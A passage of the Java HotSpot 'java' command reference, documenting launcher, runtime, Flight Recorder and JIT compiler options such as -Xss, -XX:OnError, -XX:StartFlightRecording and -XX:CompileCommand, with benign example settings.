Note: The -Xshare:on option is used for testing purposes only. It may cause the VM to unexpectedly exit during start-up when the CDS archive cannot be used (for example, when certain VM parameters are changed, or when a different JDK is used). This option should not be used in production environments.

off
Do not attempt to use shared class data.

-XshowSettings
Shows all settings and then continues.

-XshowSettings:category
Shows settings and continues. Possible category arguments for this option include the following:

all
Shows all categories of settings in verbose detail.

locale
Shows settings related to locale.

properties
Shows settings related to system properties.

security
Shows all settings related to security.

sub-category arguments for security include the following:

  • security:all : shows all security settings

  • security:properties : shows security properties

  • security:providers : shows static security provider settings

  • security:tls : shows TLS related security settings

vm
Shows the settings of the JVM.

system
Linux only: Shows host system or container configuration and continues.

-Xss size
Sets the thread stack size (in bytes). Append the letter k or K to indicate KB, m or M to indicate MB, or g or G to indicate GB. The actual size may be rounded up to a multiple of the system page size as required by the operating system. The default value depends on the platform. For example:

  • Linux/x64: 1024 KB

  • Linux/Aarch64: 2048 KB

  • macOS/x64: 1024 KB

  • macOS/Aarch64: 2048 KB

  • Windows: The default value depends on virtual memory

The following examples set the thread stack size to 1024 KB in different units:

-Xss1m
-Xss1024k
-Xss1048576

This option is similar to -XX:ThreadStackSize.

–add-reads module=target-module(,target-module)*
Updates module to read the target-module, regardless of the module declaration. target-module can be ALL-UNNAMED to read all unnamed modules.

–add-exports module/package=target-module(,target-module)*
Updates module to export package to target-module, regardless of module declaration. target-module can be ALL-UNNAMED to export to all unnamed modules.

–add-opens module/package=target-module(,target-module)*
Updates module to open package to target-module, regardless of module declaration.

–limit-modules module[,module…]
Specifies the limit of the universe of observable modules.

–patch-module module=file(;file)*
Overrides or augments a module with classes and resources in JAR files or directories.

–source version
Sets the version of the source in source-file mode.

–sun-misc-unsafe-memory-access= value
Allow or deny usage of unsupported API sun.misc.Unsafe. value is one of:

allow
Allow use of the memory-access methods with no warnings at run time.

warn
Allow use of the memory-access methods, but issues a warning on the first occasion that any memory-access method is used. At most one warning is issued.

debug
Allow use of the memory-access methods, but issue a one-line warning and a stack trace when any memory-access method is used.

deny
Disallow use of the memory-access methods by throwing an UnsupportedOperationException on every usage.

The default value when the option is not specified is allow.

EXTRA OPTIONS FOR MACOS

The following extra options are macOS specific.

-XstartOnFirstThread
Runs the main() method on the first (AppKit) thread.

-Xdock:name=application_name
Overrides the default application name displayed in dock.

-Xdock:icon=path_to_icon_file
Overrides the default icon displayed in dock.

ADVANCED OPTIONS FOR JAVA

These java options can be used to enable other advanced options.

-XX:+UnlockDiagnosticVMOptions
Unlocks the options intended for diagnosing the JVM. By default, this option is disabled and diagnostic options aren’t available.

Command line options that are enabled with the use of this option are not supported. If you encounter issues while using any of these options, it is very likely that you will be required to reproduce the problem without using any of these unsupported options before Oracle Support can assist with an investigation. It is also possible that any of these options may be removed or their behavior changed without any warning.

-XX:+UnlockExperimentalVMOptions
Unlocks the options that provide experimental features in the JVM. By default, this option is disabled and experimental features aren’t available.

ADVANCED RUNTIME OPTIONS FOR JAVA

These java options control the runtime behavior of the Java HotSpot VM.

-XX:ActiveProcessorCount=x
Overrides the number of CPUs that the VM will use to calculate the size of thread pools it will use for various operations such as Garbage Collection and ForkJoinPool.

The VM normally determines the number of available processors from the operating system. This flag can be useful for partitioning CPU resources when running multiple Java processes in docker containers. This flag is honored even if UseContainerSupport is not enabled. See -XX:-UseContainerSupport for a description of enabling and disabling container support.

-XX:AllocateHeapAt=path
Takes a path to the file system and uses memory mapping to allocate the object heap on the memory device. Using this option enables the HotSpot VM to allocate the Java object heap on an alternative memory device, such as an NV-DIMM, specified by the user.

Alternative memory devices that have the same semantics as DRAM, including the semantics of atomic operations, can be used instead of DRAM for the object heap without changing the existing application code. All other memory structures (such as the code heap, metaspace, and thread stacks) continue to reside in DRAM.

Some operating systems expose non-DRAM memory through the file system. Memory-mapped files in these file systems bypass the page cache and provide a direct mapping of virtual memory to the physical memory on the device. The existing heap related flags (such as -Xmx and -Xms) and garbage-collection related flags continue to work as before.

-XX:-CompactStrings
Disables the Compact Strings feature. By default, this option is enabled. When this option is enabled, Java Strings containing only single-byte characters are internally represented and stored as single-byte-per-character Strings using ISO-8859-1 / Latin-1 encoding. This reduces, by 50%, the amount of space required for Strings containing only single-byte characters. For Java Strings containing at least one multibyte character: these are represented and stored as 2 bytes per character using UTF-16 encoding. Disabling the Compact Strings feature forces the use of UTF-16 encoding as the internal representation for all Java Strings.

Cases where it may be beneficial to disable Compact Strings include the following:

  • When it’s known that an application overwhelmingly will be allocating multibyte character Strings

  • In the unexpected event where a performance regression is observed in migrating from Java SE 8 to Java SE 9 and an analysis shows that Compact Strings introduces the regression

In both of these scenarios, disabling Compact Strings makes sense.

-XX:ErrorFile=filename
Specifies the path and file name to which error data is written when an irrecoverable error occurs. By default, this file is created in the current working directory and named hs_err_pidpid.log where pid is the identifier of the process that encountered the error.

The following example shows how to set the default log file (note that the identifier of the process is specified as %p):

-XX:ErrorFile=./hs_err_pid%p.log

  • Non-Windows: The following example shows how to set the error log to /var/log/java/java_error.log:

    -XX:ErrorFile=/var/log/java/java_error.log

  • Windows: The following example shows how to set the error log file to C:/log/java/java_error.log:

    -XX:ErrorFile=C:/log/java/java_error.log

If the file exists, and is writeable, then it will be overwritten. Otherwise, if the file can’t be created in the specified directory (due to insufficient space, permission problem, or another issue), then the file is created in the temporary directory for the operating system:

  • Non-Windows: The temporary directory is /tmp.

  • Windows: The temporary directory is specified by the value of the TMP environment variable; if that environment variable isn’t defined, then the value of the TEMP environment variable is used.

-XX:+ExtensiveErrorReports
Enables the reporting of more extensive error information in the ErrorFile. This option can be turned on in environments where maximal information is desired - even if the resulting logs may be quite large and/or contain information that might be considered sensitive. The information can vary from release to release, and across different platforms. By default this option is disabled.

-XX:FlightRecorderOptions=parameter=value (or) -XX:FlightRecorderOptions:parameter=value
Sets the parameters that control the behavior of JFR. Multiple parameters can be specified by separating them with a comma.

The following list contains the available JFR parameter=value entries:

globalbuffersize=size
Specifies the total amount of primary memory used for data retention. The default value is based on the value specified for memorysize. Change the memorysize parameter to alter the size of global buffers.

maxchunksize=size
Specifies the maximum size (in bytes) of the data chunks in a recording. Append m or M to specify the size in megabytes (MB), or g or G to specify the size in gigabytes (GB). By default, the maximum size of data chunks is set to 12 MB. The minimum allowed is 1 MB.

memorysize=size
Determines how much buffer memory should be used, and sets the globalbuffersize and numglobalbuffers parameters based on the size specified. Append m or M to specify the size in megabytes (MB), or g or G to specify the size in gigabytes (GB). By default, the memory size is set to 10 MB.

numglobalbuffers
Specifies the number of global buffers used. The default value is based on the memory size specified. Change the memorysize parameter to alter the number of global buffers.

old-object-queue-size=number-of-objects
Maximum number of old objects to track. By default, the number of objects is set to 256.

preserve-repository={true|false}
Specifies whether files stored in the disk repository should be kept after the JVM has exited. If false, files are deleted. By default, this parameter is disabled.

repository=path
Specifies the repository (a directory) for temporary disk storage. By default, the system’s temporary directory is used.

retransform={true|false}
Specifies whether event classes should be retransformed using JVMTI. If false, instrumentation is added when event classes are loaded. By default, this parameter is enabled.

stackdepth=depth
Stack depth for stack traces. By default, the depth is set to 64 method calls. The maximum is 2048. Values greater than 64 could create significant overhead and reduce performance.

threadbuffersize=size
Specifies the per-thread local buffer size (in bytes). By default, the local buffer size is set to 8 kilobytes, with a minimum value of 4 kilobytes. Overriding this parameter could reduce performance and is not recommended.

-XX:LargePageSizeInBytes=size
Sets the maximum large page size (in bytes) used by the JVM. The size argument must be a valid page size supported by the environment to have any effect. Append the letter k or K to indicate kilobytes, m or M to indicate megabytes, or g or G to indicate gigabytes. By default, the size is set to 0, meaning that the JVM will use the default large page size for the environment as the maximum size for large pages. See Large Pages.

The following example describes how to set the large page size to 1 gigabyte (GB):

-XX:LargePageSizeInBytes=1g

-XX:MaxDirectMemorySize=size
Sets the maximum total size (in bytes) of the java.nio package, direct-buffer allocations. Append the letter k or K to indicate kilobytes, m or M to indicate megabytes, or g or G to indicate gigabytes. If not set, the flag is ignored and the JVM chooses the size for NIO direct-buffer allocations automatically.

The following examples illustrate how to set the NIO size to 1024 KB in different units:

-XX:MaxDirectMemorySize=1m
-XX:MaxDirectMemorySize=1024k
-XX:MaxDirectMemorySize=1048576

-XX:-MaxFDLimit
Disables the attempt to set the soft limit for the number of open file descriptors to the hard limit. By default, this option is enabled on all platforms, but is ignored on Windows. The only time that you may need to disable this is on macOS, where its use imposes a maximum of 10240, which is lower than the actual system maximum.

-XX:NativeMemoryTracking=mode
Specifies the mode for tracking JVM native memory usage. Possible mode arguments for this option include the following:

off
Instructs not to track JVM native memory usage. This is the default behavior if you don’t specify the -XX:NativeMemoryTracking option.

summary
Tracks memory usage only by JVM subsystems, such as Java heap, class, code, and thread.

detail
In addition to tracking memory usage by JVM subsystems, track memory usage by individual CallSite, individual virtual memory region and its committed regions.

-XX:TrimNativeHeapInterval=millis
Interval, in ms, at which the JVM will trim the native heap. Lower values will reclaim memory more eagerly at the cost of higher overhead. A value of 0 (default) disables native heap trimming. Native heap trimming is performed in a dedicated thread.

This option is only supported on Linux with GNU C Library (glibc).

-XX:+NeverActAsServerClassMachine
Enable the “Client VM emulation” mode which only uses the C1 JIT compiler, a 32Mb CodeCache and the Serial GC. The maximum amount of memory that the JVM may use (controlled by the -XX:MaxRAM=n flag) is set to 1GB by default. The string “emulated-client” is added to the JVM version string.

By default the flag is set to true only on Windows in 32-bit mode and false in all other cases.

The “Client VM emulation” mode will not be enabled if any of the following flags are used on the command line:

-XX:{+|-}TieredCompilation
-XX:CompilationMode=mode
-XX:TieredStopAtLevel=n
-XX:{+|-}EnableJVMCI
-XX:{+|-}UseJVMCICompiler

-XX:ObjectAlignmentInBytes=alignment
Sets the memory alignment of Java objects (in bytes). By default, the value is set to 8 bytes. The specified value should be a power of 2, and must be within the range of 8 and 256 (inclusive). This option makes it possible to use compressed pointers with large Java heap sizes.

The heap size limit in bytes is calculated as:

4GB * ObjectAlignmentInBytes

Note: As the alignment value increases, the unused space between objects also increases. As a result, you may not realize any benefits from using compressed pointers with large Java heap sizes.

-XX:OnError=string
Sets a custom command or a series of semicolon-separated commands to run when an irrecoverable error occurs. If the string contains spaces, then it must be enclosed in quotation marks.

  • Non-Windows: The following example shows how the -XX:OnError option can be used to run the gcore command to create a core image, and start the gdb debugger to attach to the process in case of an irrecoverable error (the %p designates the current process identifier):

    -XX:OnError=“gcore %p;gdb -p %p”

  • Windows: The following example shows how the -XX:OnError option can be used to run the userdump.exe utility to obtain a crash dump in case of an irrecoverable error (the %p designates the current process identifier). This example assumes that the path to the userdump.exe utility is specified in the PATH environment variable:

    -XX:OnError=“userdump.exe %p”

-XX:OnOutOfMemoryError=string
Sets a custom command or a series of semicolon-separated commands to run when an OutOfMemoryError exception is first thrown. If the string contains spaces, then it must be enclosed in quotation marks. For an example of a command string, see the description of the -XX:OnError option.

-XX:+PrintCommandLineFlags
Enables printing of ergonomically selected JVM flags that appeared on the command line. It can be useful to know the ergonomic values set by the JVM, such as the heap space size and the selected garbage collector. By default, this option is disabled and flags aren’t printed.

-XX:+PreserveFramePointer
Selects between using the RBP register as a general purpose register (-XX:-PreserveFramePointer) and using the RBP register to hold the frame pointer of the currently executing method (-XX:+PreserveFramePointer . If the frame pointer is available, then external profiling tools (for example, Linux perf) can construct more accurate stack traces.

-XX:+PrintNMTStatistics
Enables printing of collected native memory tracking data at JVM exit when native memory tracking is enabled (see -XX:NativeMemoryTracking). By default, this option is disabled and native memory tracking data isn’t printed.

-XX:SharedArchiveFile=path
Specifies the path and name of the class data sharing (CDS) archive file

See Application Class Data Sharing.

-XX:+VerifySharedSpaces
If this option is specified, the JVM will load a CDS archive file only if it passes an integrity check based on CRC32 checksums. The purpose of this flag is to check for unintentional damage to CDS archive files in transmission or storage. To guarantee the security and proper operation of CDS, the user must ensure that the CDS archive files used by Java applications cannot be modified without proper authorization.

-XX:SharedArchiveConfigFile=shared_config_file
Specifies additional shared data added to the archive file.

-XX:SharedClassListFile=file_name
Specifies the text file that contains the names of the classes to store in the class data sharing (CDS) archive. This file contains the full name of one class per line, except slashes (/) replace dots (.). For example, to specify the classes java.lang.Object and hello.Main, create a text file that contains the following two lines:

java/lang/Object
hello/Main

The classes that you specify in this text file should include the classes that are commonly used by the application. They may include any classes from the application, extension, or bootstrap class paths.

See Application Class Data Sharing.

-XX:+ShowCodeDetailsInExceptionMessages
Enables printing of improved NullPointerException messages. When an application throws a NullPointerException, the option enables the JVM to analyze the program’s bytecode instructions to determine precisely which reference is null, and describes the source with a null-detail message. The null-detail message is calculated and returned by NullPointerException.getMessage(), and will be printed as the exception message along with the method, filename, and line number. By default, this option is enabled.

-XX:+ShowMessageBoxOnError
Enables the display of a dialog box when the JVM experiences an irrecoverable error. This prevents the JVM from exiting and keeps the process active so that you can attach a debugger to it to investigate the cause of the error. By default, this option is disabled.

-XX:StartFlightRecording:parameter=value
Starts a JFR recording for the Java application. This option is equivalent to the JFR.start diagnostic command that starts a recording during runtime. -XX:StartFlightRecording:help prints available options and example command lines. You can set the following parameter=value entries when starting a JFR recording:

delay=time
Specifies the delay between the Java application launch time and the start of the recording. Append s to specify the time in seconds, m for minutes, h for hours, or d for days (for example, specifying 10m means 10 minutes). By default, there’s no delay, and this parameter is set to 0.

disk={true|false}
Specifies whether to write data to disk while recording. By default, this parameter is enabled.

dumponexit={true|false}
Specifies if the running recording is dumped when the JVM shuts down. If enabled and a filename is not entered, the recording is written to a file in the directory where the process was started. The file name is a system-generated name that contains the process ID, recording ID, and current timestamp, similar to hotspot-pid-47496-id-1-2018_01_25_19_10_41.jfr. By default, this parameter is disabled.

duration=time
Specifies the duration of the recording. Append s to specify the time in seconds, m for minutes, h for hours, or d for days (for example, specifying 5h means 5 hours). By default, the duration isn’t limited, and this parameter is set to 0.

filename=path
Specifies the path and name of the file to which the recording is written when the recording is stopped, for example:

  • recording.jfr

  • /home/user/recordings/recording.jfr

  • c: ecordings ecording.jfr

If %p and/or %t is specified in the filename, it expands to the JVM’s PID and the current timestamp, respectively. The filename may also be a directory in which case, the filename is generated from the PID and the current date in the specified directory.

name=identifier
Takes both the name and the identifier of a recording.

maxage=time
Specifies the maximum age of disk data to keep for the recording. This parameter is valid only when the disk parameter is set to true. Append s to specify the time in seconds, m for minutes, h for hours, or d for days (for example, specifying 30s means 30 seconds). By default, the maximum age isn’t limited, and this parameter is set to 0s.

maxsize=size
Specifies the maximum size (in bytes) of disk data to keep for the recording. This parameter is valid only when the disk parameter is set to true. The value must not be less than the value for the maxchunksize parameter set with -XX:FlightRecorderOptions. Append m or M to specify the size in megabytes, or g or G to specify the size in gigabytes. By default, the maximum size of disk data isn’t limited, and this parameter is set to 0.

path-to-gc-roots={true|false}
Specifies whether to collect the path to garbage collection (GC) roots at the end of a recording. By default, this parameter is disabled.

The path to GC roots is useful for finding memory leaks, but collecting it is time-consuming. Enable this option only when you start a recording for an application that you suspect has a memory leak. If the settings parameter is set to profile, the stack trace from where the potential leaking object was allocated is included in the information collected.

settings=path
Specifies the path and name of the event settings file (of type JFC). By default, the default.jfc file is used, which is located in JAVA_HOME/lib/jfr. This default settings file collects a predefined set of information with low overhead, so it has minimal impact on performance and can be used with recordings that run continuously.

A second settings file is also provided, profile.jfc, which provides more data than the default configuration, but can have more overhead and impact performance. Use this configuration for short periods of time when more information is needed.

You can specify values for multiple parameters by separating them with a comma. Event settings and .jfc options can be specified using the following syntax:

option=value
Specifies the option value to modify. To list available options, use the JAVA_HOME/bin/jfr tool.

event-setting=value
Specifies the event setting value to modify. Use the form: <event-name>#<setting-name>=<value>. To add a new event setting, prefix the event name with ‘+’.

You can specify values for multiple event settings and .jfc options by separating them with a comma. In case of a conflict between a parameter and a .jfc option, the parameter will take precedence. The whitespace delimiter can be omitted for timespan values, i.e. 20ms. For more information about the settings syntax, see Javadoc of the jdk.jfr package.

To only see warnings and errors from JFR during startup set -Xlog:jfr+startup=warning.

-XX:ThreadStackSize=size
Sets the Java thread stack size (in kilobytes). Use of a scaling suffix, such as k, results in the scaling of the kilobytes value so that -XX:ThreadStackSize=1k sets the Java thread stack size to 1024*1024 bytes or 1 megabyte. The default value depends on the platform. For example:

  • Linux/x64: 1024 KB

  • Linux/Aarch64: 2048 KB

  • macOS/x64: 1024 KB

  • macOS/Aarch64: 2048 KB

  • Windows: The default value depends on virtual memory

The following examples show how to set the thread stack size to 1 megabyte in different units:

-XX:ThreadStackSize=1k
-XX:ThreadStackSize=1024

This option is similar to -Xss.

-XX:-UseCompressedOops
Disables the use of compressed pointers. By default, this option is enabled, and compressed pointers are used. This will automatically limit the maximum ergonomically determined Java heap size to the maximum amount of memory that can be covered by compressed pointers. By default this range is 32 GB.

With compressed oops enabled, object references are represented as 32-bit offsets instead of 64-bit pointers, which typically increases performance when running the application with Java heap sizes smaller than the compressed oops pointer range. This option works only for 64-bit JVMs.

It’s possible to use compressed pointers with Java heap sizes greater than 32 GB. See the -XX:ObjectAlignmentInBytes option.

-XX:-UseContainerSupport
Linux only: The VM now provides automatic container detection support, which allows the VM to determine the amount of memory and number of processors that are available to a Java process running in docker containers. It uses this information to allocate system resources. The default for this flag is true, and container support is enabled by default. It can be disabled with -XX:-UseContainerSupport.

Unified Logging is available to help to diagnose issues related to this support.

Use -Xlog:os+container=trace for maximum logging of container information. See Enable Logging with the JVM Unified Logging Framework for a description of using Unified Logging.

-XX:+UseLargePages
Enables the use of large page memory. By default, this option is disabled and large page memory isn’t used.

See Large Pages.

-XX:+UseTransparentHugePages
Linux only: Enables the use of large pages that can dynamically grow or shrink. This option is disabled by default. You may encounter performance problems with transparent huge pages as the OS moves other pages around to create huge pages; this option is made available for experimentation.

-XX:+AllowUserSignalHandlers
Non-Windows: Enables installation of signal handlers by the application. By default, this option is disabled and the application isn’t allowed to install signal handlers.

-XX:VMOptionsFile=filename
Allows user to specify VM options in a file, for example, java -XX:VMOptionsFile=/var/my_vm_options HelloWorld.

-XX:UseBranchProtection=mode
Linux AArch64 only: Specifies the branch protection mode. All options other than none require the VM to have been built with branch protection enabled. In addition, for full protection, any native libraries provided by applications should be compiled with the same level of protection.

Possible mode arguments for this option include the following:

none
Do not use branch protection. This is the default value.

standard
Enables all branch protection modes available on the current platform.

pac-ret
Enables protection against ROP based attacks. (AArch64 8.3+ only)

ADVANCED JIT COMPILER OPTIONS FOR JAVA

These java options control the dynamic just-in-time (JIT) compilation performed by the Java HotSpot VM.

-XX:AllocateInstancePrefetchLines=lines
Sets the number of lines to prefetch ahead of the instance allocation pointer. By default, the number of lines to prefetch is set to 1:

-XX:AllocateInstancePrefetchLines=1

-XX:AllocatePrefetchDistance=size
Sets the size (in bytes) of the prefetch distance for object allocation. Memory about to be written with the value of new objects is prefetched up to this distance starting from the address of the last allocated object. Each Java thread has its own allocation point.

Negative values denote that prefetch distance is chosen based on the platform. Positive values are bytes to prefetch. Append the letter k or K to indicate kilobytes, m or M to indicate megabytes, or g or G to indicate gigabytes. The default value is set to -1.

The following example shows how to set the prefetch distance to 1024 bytes:

-XX:AllocatePrefetchDistance=1024

-XX:AllocatePrefetchInstr=instruction
Sets the prefetch instruction to prefetch ahead of the allocation pointer. Possible values are from 0 to 3. The actual instructions behind the values depend on the platform. By default, the prefetch instruction is set to 0:

-XX:AllocatePrefetchInstr=0

-XX:AllocatePrefetchLines=lines
Sets the number of cache lines to load after the last object allocation by using the prefetch instructions generated in compiled code. The default value is 1 if the last allocated object was an instance, and 3 if it was an array.

The following example shows how to set the number of loaded cache lines to 5:

-XX:AllocatePrefetchLines=5

-XX:AllocatePrefetchStepSize=size
Sets the step size (in bytes) for sequential prefetch instructions. Append the letter k or K to indicate kilobytes, m or M to indicate megabytes, g or G to indicate gigabytes. By default, the step size is set to 16 bytes:

-XX:AllocatePrefetchStepSize=16

-XX:AllocatePrefetchStyle=style
Sets the generated code style for prefetch instructions. The style argument is an integer from 0 to 3:

0
Don’t generate prefetch instructions.

1
Execute prefetch instructions after each allocation. This is the default setting.

2
Use the thread-local allocation block (TLAB) watermark pointer to determine when prefetch instructions are executed.

3
Generate one prefetch instruction per cache line.

-XX:+BackgroundCompilation
Enables background compilation. This option is enabled by default. To disable background compilation, specify -XX:-BackgroundCompilation (this is equivalent to specifying -Xbatch).

-XX:CICompilerCount=threads
Sets the number of compiler threads to use for compilation. By default, the number of compiler threads is selected automatically depending on the number of CPUs and memory available for compiled code. The following example shows how to set the number of threads to 2:

-XX:CICompilerCount=2

-XX:+UseDynamicNumberOfCompilerThreads
Dynamically create compiler thread up to the limit specified by -XX:CICompilerCount. This option is enabled by default.

-XX:CompileCommand=command,method[,option]
Specifies a command to perform on a method. For example, to exclude the indexOf() method of the String class from being compiled, use the following:

-XX:CompileCommand=exclude,java/lang/String.indexOf

Note that the full class name is specified, including all packages and subpackages separated by a slash (/). For easier cut-and-paste operations, it’s also possible to use the method name format produced by the -XX:+PrintCompilation and -XX:+LogCompilation options:

-XX:CompileCommand=exclude,java.lang.String::indexOf

If the method is specified without the signature, then the command is applied to all methods with the specified name. However, you can also specify the signature of the method in the class file format. In this case, you should enclose the arguments in quotation marks, because otherwise the shell treats the semicolon as a command end. For example, if you want to exclude only the indexOf(String) method of the String class from being compiled, use the following:

-XX:CompileCommand=“exclude,java/lang/String.indexOf,(Ljava/lang/String;)I”

You can also use the asterisk (*) as a wildcard for class and method names. For example, to exclude all indexOf() methods in all classes from being compiled, use the following:

-XX:CompileCommand=exclude,*.indexOf

The commas and periods are aliases for spaces, making it easier to pass compiler commands through a shell. You can pass arguments to -XX:CompileCommand using spaces as separators by enclosing the argument in quotation marks:

-XX:CompileCommand=“exclude java/lang/String indexOf”

Note that after parsing the commands passed on the command line using the -XX:CompileCommand options, the JIT compiler then reads commands from the .hotspot_compiler file. You can add commands to this file or specify a different file using the -XX:CompileCommandFile option.

To add several commands, either specify the -XX:CompileCommand option multiple times, or separate each argument with the new line separator ( ). The following commands are available:

break
Sets a breakpoint when debugging the JVM to stop at the beginning of compilation of the specified method.

compileonly
Excludes all methods from compilation except for the specified method. As an alternative, you can use the -XX:CompileOnly option, which lets you specify several methods.

dontinline
Prevents inlining of the specified method.

exclude
Excludes the specified method from compilation.

help
Prints a help message for the -XX:CompileCommand option.

inline
Attempts to inline the specified method.

log
Excludes compilation logging (with the -XX:+LogCompilation option) for all methods except for the specified method. By default, logging is performed for all compiled methods.

option
Passes a JIT compilation option to the specified method in place of the last argument (option). The compilation option is set at the end, after the method name. For example, to enable the BlockLayoutByFrequency option for the append() method of the StringBuffer class, use the following:

-XX:CompileCommand=option,java/lang/StringBuffer.append,BlockLayoutByFrequency

You can specify multiple compilation options, separated by commas or spaces.

print
Prints generated assembler code after compilation of the specified method.

quiet
Instructs not to print the compile commands. By default, the commands that you specify with the -XX:CompileCommand option are printed; for example, if you exclude from compilation the indexOf() method of the String class, then the following is printed to standard output:

CompilerOracle: exclude java/lang/String.indexOf

You can suppress this by specifying the -XX:CompileCommand=quiet option before other -XX:CompileCommand options.

-XX:CompileCommandFile=filename
Sets the file from which JIT compiler commands are read. By default, the .hotspot_compiler file is used to store commands performed by the JIT compiler.

Each line in the command file represents a command, a class name, and a method name for which the command is used. For example, this line prints assembly code for the toString() method of the String class:

print java/lang/String toString

If you’re using commands for the JIT compiler to perform on methods, then see the -XX:CompileCommand option.

-XX:CompilerDirectivesFile=file
Adds directives from a file to the directives stack when a program starts. See Compiler Control [https://docs.oracle.com/en/java/javase/12/vm/compiler-control1.html#GUID-94AD8194-786A-4F19-BFFF-278F8E237F3A].

The -XX:CompilerDirectivesFile option has to be used together with the -XX:UnlockDiagnosticVMOptions option that unlocks diagnostic JVM options.

-XX:+CompilerDirectivesPrint
Prints the directives stack when the program starts or when a new directive is added.

The -XX:+CompilerDirectivesPrint option has to be used together with the -XX:UnlockDiagnosticVMOptions option that unlocks diagnostic JVM options.

-XX:CompileOnly=methods
Sets the list of methods (separated by commas) to which compilation should be restricted. Only the specified methods are compiled.

-XX:CompileOnly=method1,method2,…,methodN is an alias for:

-XX:CompileCommand=compileonly,method1
-XX:CompileCommand=compileonly,method2
...
-XX:CompileCommand=compileonly,methodN

-XX:CompileThresholdScaling=scale
Provides unified control of first compilation. This option controls when methods are first compiled for both the tiered and the nontiered modes of operation. The CompileThresholdScaling option has a floating point value between 0 and +Inf and scales the thresholds corresponding to the current mode of operation (both tiered and nontiered). Setting CompileThresholdScaling to a value less than 1.0 results in earlier compilation while values greater than 1.0 delay compilation. Setting CompileThresholdScaling to 0 is equivalent to disabling compilation.

-XX:+DoEscapeAnalysis
Enables the use of escape analysis. This option is enabled by default. To disable the use of escape analysis, specify -XX:-DoEscapeAnalysis.

-XX:InitialCodeCacheSize=size
Sets the initial code cache size (in bytes). Append the letter k or K to indicate kilobytes, m or M to indicate megabytes, or g or G to indicate gigabytes. The default value depends on the platform. The initial code cache size shouldn’t be less than the system’s minimal memory page size. The following example shows how to set the initial code cache size to 32 KB:

-XX:InitialCodeCacheSize=32k

-XX:+Inline
Enables method inlining. This option is enabled by default to increase performance. To disable method inlining, specify -XX:-Inline.

-XX:InlineSmallCode=size
Sets the maximum code size (in bytes) for already compiled methods that may be inlined. This flag only applies to the C2 compiler. Append the letter k or K to indicate kilobytes, m or M to indicate megabytes, or g or G to indicate gigabytes. The default value depends on the platform and on whether tiered compilation is enabled. In the following example it is set to 1000 bytes:

-XX:InlineSmallCode=1000

-XX:+LogCompilation
Enables logging of compilation activity to a file named hotspot.log in the current working directory. You can specify a different log file path and name using the -XX:LogFile option.

By default, this option is disabled and compilation activity isn’t logged. The -XX:+LogCompilation option has to be used together with the -XX:UnlockDiagnosticVMOptions option that unlocks diagnostic JVM options.

You can enable verbose diagnostic output with a message printed to the console every time a method is compiled by using the -XX:+PrintCompilation option.

-XX:FreqInlineSize=size
Sets the maximum bytecode size (in bytes) of a hot method to be inlined. This flag only applies to the C2 compiler. Append the letter k or K to indicate kilobytes, m or M to indicate megabytes, or g or G to indicate gigabytes. The default value depends on the platform. In the following example it is set to 325 bytes:

-XX:FreqInlineSize=325

-XX:MaxInlineSize=size
Sets the maximum bytecode size (in bytes) of a cold method to be inlined. This flag only applies to the C2 compiler. Append the letter k or K to indicate kilobytes, m or M to indicate megabytes, or g or G to indicate gigabytes. By default, the maximum bytecode size is set to 35 bytes:

-XX:MaxInlineSize=35

-XX:C1MaxInlineSize=size
Sets the maximum bytecode size (in bytes) of a cold method to be inlined. This flag only applies to the C1 compiler. Append the letter k or K to indicate kilobytes, m or M to indicate megabytes, or g or G to indicate gigabytes. By default, the maximum bytecode size is set to 35 bytes:

-XX:MaxInlineSize=35

-XX:MaxTrivialSize=size
Sets the maximum bytecode size (in bytes) of a trivial method to be inlined. This flag only applies to the C2 compiler. Append the letter k or K to indicate kilobytes, m or M to indicate megabytes, or g or G to indicate gigabytes. By default, the maximum bytecode size of a trivial method is set to 6 bytes:

-XX:MaxTrivialSize=6

-XX:C1MaxTrivialSize=size
Sets the maximum bytecode size (in bytes) of a trivial method to be inlined. This flag only applies to the C1 compiler. Append the letter k or K to indicate kilobytes, m or M to indicate megabytes, or g or G to indicate gigabytes. By default, the maximum bytecode size of a trivial method is set to 6 bytes:

-XX:MaxTrivialSize=6

-XX:MaxNodeLimit=nodes
Sets the maximum number of nodes to be used during single method compilation. By default the value depends on the features enabled. In the following example the maximum number of nodes is set to 100,000:

-XX:MaxNodeLimit=100000

-XX:NonNMethodCodeHeapSize=size
Sets the size in bytes of the code segment containing nonmethod code.

A nonmethod code segment containing nonmethod code, such as compiler buffers and the bytecode interpreter. This code type stays in the code cache forever. This flag is used only if -XX:SegmentedCodeCache is enabled.

-XX:NonProfiledCodeHeapSize=size
Sets the size in bytes of the code segment containing nonprofiled methods. This flag is used only if -XX:SegmentedCodeCache is enabled.

-XX:+OptimizeStringConcat
Enables the optimization of String concatenation operations. This option is enabled by default. To disable the optimization of String concatenation operations, specify -XX:-OptimizeStringConcat.

-XX:+PrintAssembly
Enables printing of assembly code for bytecoded and native methods by using the external hsdis-<arch>.so or .dll library. For 64-bit VM on Windows, it’s hsdis-amd64.dll. This lets you to see the generated code, which may help you to diagnose performance issues.

By default, this option is disabled and assembly code isn’t printed. The -XX:+PrintAssembly option has to be used together with the -XX:UnlockDiagnosticVMOptions option that unlocks diagnostic JVM options.

-XX:ProfiledCodeHeapSize=size
Sets the size in bytes of the code segment containing profiled methods. This flag is used only if -XX:SegmentedCodeCache is enabled.

-XX:+PrintCompilation
Enables verbose diagnostic output from the JVM by printing a message to the console every time a method is compiled. This lets you to see which methods actually get compiled. By default, this option is disabled and diagnostic output isn’t printed.

You can also log compilation activity to a file by using the -XX:+LogCompilation option.

-XX:+PrintInlining
Enables printing of inlining decisions. This let’s you see which methods are getting inlined.

By default, this option is disabled and inlining information isn’t printed. The -XX:+PrintInlining option has to be used together with the -XX:+UnlockDiagnosticVMOptions option that unlocks diagnostic JVM options.

-XX:ReservedCodeCacheSize=size
Sets the maximum code cache size (in bytes) for JIT-compiled code. Append the letter k or K to indicate kilobytes, m or M to indicate megabytes, or g or G to indicate gigabytes. The default maximum code cache size is 240 MB; if you disable tiered compilation with the option -XX:-TieredCompilation, then the default size is 48 MB. This option has a limit of 2 GB; otherwise, an error is generated. The maximum code cache size shouldn’t be less than the initial code cache size; see the option -XX:InitialCodeCacheSize.

-XX:+SegmentedCodeCache
Enables segmentation of the code cache, without which the code cache consists of one large segment. With -XX:+SegmentedCodeCache, separate segments will be used for non-method, profiled method, and non-profiled method code. The segments are not resized at runtime. The advantages are better control of the memory footprint, reduced code fragmentation, and better CPU iTLB (instruction translation lookaside buffer) and instruction cache behavior due to improved locality.

The feature is enabled by default if tiered compilation is enabled (-XX:+TieredCompilation ) and the reserved code cache size (-XX:ReservedCodeCacheSize) is at least 240 MB.

